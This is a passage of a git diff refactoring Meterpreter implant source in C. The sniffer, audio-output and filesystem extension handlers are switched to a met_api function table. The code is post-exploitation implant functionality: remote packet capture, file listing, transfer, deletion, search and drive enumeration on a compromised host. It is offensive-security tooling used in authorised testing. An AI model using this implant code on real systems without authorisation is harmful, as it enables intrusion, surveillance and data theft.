TLV_TYPE_SNIFFER_BYTE_COUNT, 0); goto fail; } @@ -571,8 +569,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) bcnt = j->dlen - j->didx; } - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt); - packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt); + met_api->packet.add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt); j->didx += bcnt; } while (0); @@ -587,7 +585,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) if (j->active == 0) { dprintf("sniffer>> capture_dump_read, release CaptureJob"); - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); for (i = 0; i < j->max_pkts; i++) { if (!j->pkts[i]) break; @@ -597,19 +595,19 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) free(j->pkts); memset(j, 0, sizeof(CaptureJob)); - lock_release(snifferm); + met_api->lock.release(snifferm); } } fail: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid; unsigned int rbuf, mbuf; unsigned int *tmp; @@ -624,12 +622,12 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> capture_dump()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> capture_dump(0x%.8x)", ifid); result = ERROR_SUCCESS; - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); do { @@ -719,10 +717,10 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) j->dlen = rcnt; - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt); // add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype); dprintf("sniffer>> finished processing packets"); @@ -731,24 +729,23 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) j->idx_pkts = 0; } while (0); - lock_release(snifferm); - packet_transmit_response(result, remote, response); + met_api->lock.release(snifferm); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - // This handle has to be set before calls to command_register - // otherwise we get obscure crashes! - hMetSrv = remote->met_srv; + met_api = api; dprintf("[SERVER] Registering command handlers..."); - command_register_all( customCommands ); + met_api->command.register_all(customCommands); dprintf("[SERVER] Memory reset of open_captures..."); memset(open_captures, 0, sizeof(open_captures)); @@ -781,7 +778,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) } dprintf("[SERVER] Creating a lock..."); - snifferm = lock_create(); + snifferm = met_api->lock.create(); return hErr; } @@ -793,9 +790,10 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_register_all( customCommands ); + met_api->command.deregister_all(customCommands); + MgrDestroy(hMgr); - lock_destroy(snifferm); + met_api->lock.destroy(snifferm); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/audio/output.c b/c/meterpreter/source/extensions/stdapi/server/audio/output.c index 47a10cc7..e2138d1e 100644 --- a/c/meterpreter/source/extensions/stdapi/server/audio/output.c +++ b/c/meterpreter/source/extensions/stdapi/server/audio/output.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include @@ -15,34 +16,41 @@ typedef struct /* * Writes the supplied data to the audio buffer */ -static DWORD audio_channel_write(Channel *channel, Packet *request, - LPVOID context, LPVOID buffer, DWORD bufferSize, - LPDWORD bytesWritten) +static DWORD audio_channel_write(Channel* channel, Packet* request, + LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten) { - AudioContext *ctx = (AudioContext *)context; + AudioContext* ctx = (AudioContext*)context; DWORD result = ERROR_SUCCESS; size_t written = 0; // Write to the buffer - if (bufferSize) { + if (bufferSize) + { char* newbuffer = 0; - if (ctx->buffer) { + if (ctx->buffer) + { newbuffer = realloc(ctx->buffer, ctx->offset + bufferSize); - } else { + } + else + { newbuffer = malloc(bufferSize); } - if (newbuffer) { + if (newbuffer) + { memcpy(newbuffer + ctx->offset, buffer, bufferSize); ctx->buffer = newbuffer; ctx->offset += bufferSize; written = bufferSize; - } else { + } + else + { result = ERROR_NOT_ENOUGH_MEMORY; } } - if (bytesWritten) { + if (bytesWritten) + { *bytesWritten = (DWORD)written; } @@ -52,18 +60,19 @@ static DWORD audio_channel_write(Channel *channel, Packet *request, /* * Play the audio on channel close */ -static DWORD audio_channel_close(Channel *channel, Packet *request, - LPVOID context) +static DWORD audio_channel_close(Channel *channel, Packet *request, LPVOID context) { AudioContext *ctx = (AudioContext *)context; // Play the audio buffer sndPlaySound(ctx->buffer, SND_MEMORY); - if (ctx->buffer) { + if (ctx->buffer) + { free(ctx->buffer); ctx->buffer = 0; } + free(ctx); return ERROR_SUCCESS; @@ -83,16 +92,17 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet) Channel *newChannel = NULL; // Allocate a response - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); // Allocate storage for the audio buffer context - if (!(ctx = calloc(1, sizeof(AudioContext)))) { + if (!(ctx = calloc(1, sizeof(AudioContext)))) + { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Get the channel flags - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS); memset(&chops, 0, sizeof(chops)); @@ -103,22 +113,25 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet) // Check the response allocation & allocate a un-connected // channel - if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { + if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops)))) + { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Add the channel identifier to the response - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); out: // Transmit the packet if it's valid - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); // Clean up on failure - if (res != ERROR_SUCCESS) { - if (newChannel) { - channel_destroy(newChannel, NULL); + if (res != ERROR_SUCCESS) + { + if (newChannel) + { + met_api->channel.destroy(newChannel, NULL); } } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/dir.c b/c/meterpreter/source/extensions/stdapi/server/fs/dir.c index 73956e90..06876bfc 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/dir.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/dir.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "fs_local.h" @@ -10,13 +11,13 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path) /* * Add the file name, full path and stat information */ - packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, name); - packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, path); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_NAME, name); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, path); if (short_name) { - packet_add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name); } if (fs_stat(path, &s) >= 0) { - packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s)); } } @@ -28,8 +29,8 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path) */ DWORD request_fs_ls(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); - LPCSTR directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + Packet *response = met_api->packet.create_response(packet); + LPCSTR directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); DWORD result; if (!directory) { @@ -38,7 +39,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet) result = fs_ls(directory, request_fs_ls_cb, response); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -49,17 +50,17 @@ DWORD request_fs_ls(Remote * remote, Packet * packet) */ DWORD request_fs_getwd(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory = NULL; DWORD result; result = fs_getwd(&directory); if (directory != NULL) { - packet_add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); + met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); free(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -70,10 +71,10 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet) */ DWORD request_fs_chdir(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory; DWORD result; - directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); if (directory == NULL) { result = ERROR_INVALID_PARAMETER; @@ -81,7 +82,7 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet) result = fs_chdir(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -91,10 +92,10 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet) */ DWORD request_fs_mkdir(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory; DWORD result; - directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); if (directory == NULL) { result = ERROR_INVALID_PARAMETER; @@ -102,7 +103,7 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet) result = fs_mkdir(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -112,10 +113,10 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet) */ DWORD request_fs_delete_dir(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory; DWORD result; - directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); if (directory == NULL) { result = ERROR_INVALID_PARAMETER; @@ -123,5 +124,5 @@ DWORD request_fs_delete_dir(Remote * remote, Packet * packet) result = fs_delete_dir(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/file.c b/c/meterpreter/source/extensions/stdapi/server/fs/file.c index cb5a662d..1ff680e4 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/file.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/file.c @@ -1,5 +1,6 @@ #include "precomp.h" #include "fs_local.h" +#include "common_metapi.h" #include @@ -137,10 +138,10 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) LPSTR expandedFilePath = NULL; // Allocate a response - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); // Get the channel flags - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Allocate storage for the file context if (!(ctx = calloc(1, sizeof(FileContext)))) { @@ -149,8 +150,8 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) } // Get the file path and the mode - filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); - mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); + filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + mode = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); if (mode == NULL) { mode = "rb"; @@ -174,22 +175,22 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) // Check the response allocation & allocate a un-connected // channel - if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { + if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops)))) { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Add the channel identifier to the response - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); out: // Transmit the packet if it's valid - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); // Clean up on failure if (res != ERROR_SUCCESS) { if (newChannel) { - channel_destroy(newChannel, NULL); + met_api->channel.destroy(newChannel, NULL); } free(ctx); } @@ -202,11 +203,11 @@ out: */ DWORD request_fs_separator(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - packet_add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR); + met_api->packet.add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR); - return packet_transmit_response(ERROR_SUCCESS, remote, response); + return met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); } @@ -218,13 +219,13 @@ DWORD request_fs_separator(Remote *remote, Packet *packet) */ DWORD request_fs_stat(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); struct meterp_stat buf; char *filePath; char *expanded = NULL; DWORD result = ERROR_SUCCESS; - filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!filePath) { result = ERROR_INVALID_PARAMETER; @@ -239,13 +240,13 @@ DWORD request_fs_stat(Remote *remote, Packet *packet) result = fs_stat(expanded, &buf); if (0 == result) { - packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } free(expanded); out: - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -255,11 +256,11 @@ out: */ DWORD request_fs_delete_file(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *path; DWORD result = ERROR_SUCCESS; - path = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!path) { result = ERROR_INVALID_PARAMETER; @@ -267,7 +268,7 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet) result = fs_delete_file(path); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -277,12 +278,12 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet) */ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char *expanded = NULL; char *regular; - regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + regular = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (regular == NULL) { result = ERROR_INVALID_PARAMETER; goto out; @@ -295,15 +296,15 @@ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) goto out; } - packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); free(expanded); out: - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *filePath; DWORD result = ERROR_SUCCESS; HCRYPTPROV cryptProv = 0; @@ -313,7 +314,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) size_t ret; unsigned char buff[16384]; - filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); do { @@ -376,7 +377,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) dprintf("[FILE HASH] Successfully generated hash"); - packet_add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize); + met_api->packet.add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize); } while (0); @@ -395,7 +396,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) fclose(fd); } - return packet_transmit_response(result, remote, response);} + return met_api->packet.transmit_response(result, remote, response);} /* @@ -426,13 +427,13 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet) */ DWORD request_fs_file_move(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char *oldpath; char *newpath; - oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); - newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); + newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!oldpath) { result = ERROR_INVALID_PARAMETER; @@ -440,7 +441,7 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet) result = fs_move(oldpath, newpath); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -450,13 +451,13 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet) */ DWORD request_fs_file_copy(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char *oldpath; char *newpath; - oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); - newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); + newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!oldpath) { result = ERROR_INVALID_PARAMETER; @@ -464,5 +465,5 @@ DWORD request_fs_file_copy(Remote *remote, Packet *packet) result = fs_copy(oldpath, newpath); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c index 2ebcb1db..98ab4001 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c @@ -2,6 +2,7 @@ #include "fs_local.h" #include "precomp.h" +#include "common_metapi.h" BOOL DeleteFolderWR(LPCWSTR szPath) { @@ -111,7 +112,7 @@ char * fs_expand_path(const char *regular) wchar_t expanded_path[FS_MAX_PATH]; wchar_t *regular_w; - regular_w = utf8_to_wchar(regular); + regular_w = met_api->string.utf8_to_wchar(regular); if (regular_w == NULL) { return NULL; } @@ -123,7 +124,7 @@ char * fs_expand_path(const char *regular) free(regular_w); - return wchar_to_utf8(expanded_path); + return met_api->string.wchar_to_utf8(expanded_path); } int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) @@ -174,7 +175,7 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) } WIN32_FIND_DATAW data; - wchar_t *path_w = utf8_to_wchar(expanded); + wchar_t *path_w = met_api->string.utf8_to_wchar(expanded); if (path_w == NULL) { result = GetLastError(); goto out; @@ -192,8 +193,8 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) break; } - char *filename = wchar_to_utf8(data.cFileName); - char *short_filename = wchar_to_utf8(data.cAlternateFileName); + char *filename = met_api->string.wchar_to_utf8(data.cFileName); + char *short_filename = met_api->string.wchar_to_utf8(data.cAlternateFileName); char path[FS_MAX_PATH]; if (baseDirectory) { @@ -223,7 +224,7 @@ out: int fs_chdir(const char *directory) { int rc = ERROR_SUCCESS; - wchar_t *dir_w = utf8_to_wchar(directory); + wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { rc = GetLastError(); @@ -242,7 +243,7 @@ out: int fs_delete_dir(const char *directory) { int rc = ERROR_SUCCESS; - wchar_t *dir_w = utf8_to_wchar(directory); + wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { rc = GetLastError(); @@ -261,7 +262,7 @@ out: int fs_delete_file(const char *path) { int rc = ERROR_SUCCESS; - wchar_t *path_w = utf8_to_wchar(path); + wchar_t *path_w = met_api->string.utf8_to_wchar(path); if (path_w == NULL) { rc = GetLastError(); @@ -293,7 +294,7 @@ int fs_getwd(char **dir) goto out; } - *dir = wchar_to_utf8(dir_w); + *dir = met_api->string.wchar_to_utf8(dir_w); if (*dir == NULL) { rc = GetLastError(); } @@ -305,8 +306,8 @@ out: int fs_move(const char *oldpath, const char *newpath) { int rc = ERROR_SUCCESS; - wchar_t *old_w = utf8_to_wchar(oldpath); - wchar_t *new_w = utf8_to_wchar(newpath); + wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath); + wchar_t *new_w = met_api->string.utf8_to_wchar(newpath); if ((old_w == NULL) || (new_w == NULL)) { rc = GetLastError(); @@ -326,8 +327,8 @@ out: int fs_copy(const char *oldpath, const char *newpath) { int rc = ERROR_SUCCESS; - wchar_t *old_w = utf8_to_wchar(oldpath); - wchar_t *new_w = utf8_to_wchar(newpath); + wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath); + wchar_t *new_w = met_api->string.utf8_to_wchar(newpath); if ((old_w == NULL) || (new_w == NULL)) { rc = GetLastError(); @@ -347,7 +348,7 @@ out: int fs_mkdir(const char *directory) { int rc = ERROR_SUCCESS; - wchar_t *dir_w = utf8_to_wchar(directory); + wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { rc = GetLastError(); @@ -376,8 +377,8 @@ int fs_fopen(const char *path, const char *mode, FILE **f) return ERROR_NOT_ENOUGH_MEMORY; } - wchar_t *path_w = utf8_to_wchar(expanded); - wchar_t *mode_w = utf8_to_wchar(mode); + wchar_t *path_w = met_api->string.utf8_to_wchar(expanded); + wchar_t *mode_w = met_api->string.utf8_to_wchar(mode); if ((path_w == NULL) || (mode_w == NULL)) { rc = ERROR_NOT_ENOUGH_MEMORY; @@ -501,7 +502,7 @@ win32_wstat(const wchar_t* path, struct meterp_stat *result) int fs_stat(char *filename, struct meterp_stat *buf) { - wchar_t *filename_w = utf8_to_wchar(filename); + wchar_t *filename_w = met_api->string.utf8_to_wchar(filename); if (filename_w == NULL) { return -1; } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c b/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c index da109953..4b6499cf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #pragma comment(lib, "mpr.lib") @@ -8,7 +9,7 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); CHAR driveStrings[DRIVE_STRINGS_LEN] = { 0 }; @@ -25,12 +26,12 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) { dprintf("[MOUNT] Drive found: %s", d); - Packet* driveData = packet_create_group(); + Packet* driveData = met_api->packet.create_group(); UINT driveType = GetDriveTypeA(d); dprintf("[MOUNT] %s drive type %u (0x%x)", d, driveType, driveType); - packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d); - packet_add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType); + met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d); + met_api->packet.add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType); // get network UNC path if it's a network drive if (driveType == DRIVE_REMOTE) @@ -49,7 +50,7 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) UNIVERSAL_NAME_INFOA* nameInfo = (UNIVERSAL_NAME_INFOA*)buffer; if (nameInfo->lpUniversalName) { - packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName); + met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName); } } else @@ -68,16 +69,16 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) dprintf("[MOUNT] %s getting free space ...", d); if (GetDiskFreeSpaceExA(d, &userFreeBytes, &totalBytes, &totalFreeBytes) != 0) { - packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart); - packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart); - packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart); + met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart); + met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart); + met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart); } - packet_add_group(response, TLV_TYPE_MOUNT, driveData); + met_api->packet.add_group(response, TLV_TYPE_MOUNT, driveData); } } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return ERROR_SUCCESS; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/search.c b/c/meterpreter/source/extensions/stdapi/server/fs/search.c index 12c996f5..1d5b0c8e 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/search.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/search.c @@ -11,6 +11,7 @@ */ #include "precomp.h" +#include "common_metapi.h" #include "fs.h" #include "fs_local.h" #include "search.h" @@ -20,19 +21,19 @@ */ VOID search_add_result(Packet * pResponse, wchar_t *directory, wchar_t *fileName, DWORD dwFileSize) { - char *dir = wchar_to_utf8(directory); - char *file = wchar_to_utf8(fileName); + char *dir = met_api->string.wchar_to_utf8(directory); + char *file = met_api->string.wchar_to_utf8(fileName); dprintf("[SEARCH] Found: %s\\%s", dir, file); if (dir && file) { - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); - packet_add_tlv_string(group, TLV_TYPE_FILE_PATH, dir); - packet_add_tlv_string(group, TLV_TYPE_FILE_NAME, file); - packet_add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize); + met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_PATH, dir); + met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_NAME, file); + met_api->packet.add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize); - packet_add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group); + met_api->packet.add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group); } free(dir); @@ -799,17 +800,17 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket) dprintf("[SEARCH] request_fs_search. Starting."); - pResponse = packet_create_response(pPacket); + pResponse = met_api->packet.create_response(pPacket); if (!pResponse) { dprintf("[SEARCH] request_fs_search: pResponse == NULL"); return ERROR_INVALID_HANDLE; } - options.rootDirectory = utf8_to_wchar( - packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT)); + options.rootDirectory = met_api->string.utf8_to_wchar( + met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT)); - options.glob = utf8_to_wchar( - packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB)); + options.glob = met_api->string.utf8_to_wchar( + met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB)); if (options.rootDirectory && wcslen(options.rootDirectory) == 0) { free(options.rootDirectory); @@ -829,7 +830,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket) dprintf("[SEARCH] root: '%S' glob: '%S'", options.rootDirectory, options.glob); - options.bResursive = packet_get_tlv_value_bool(pPacket, 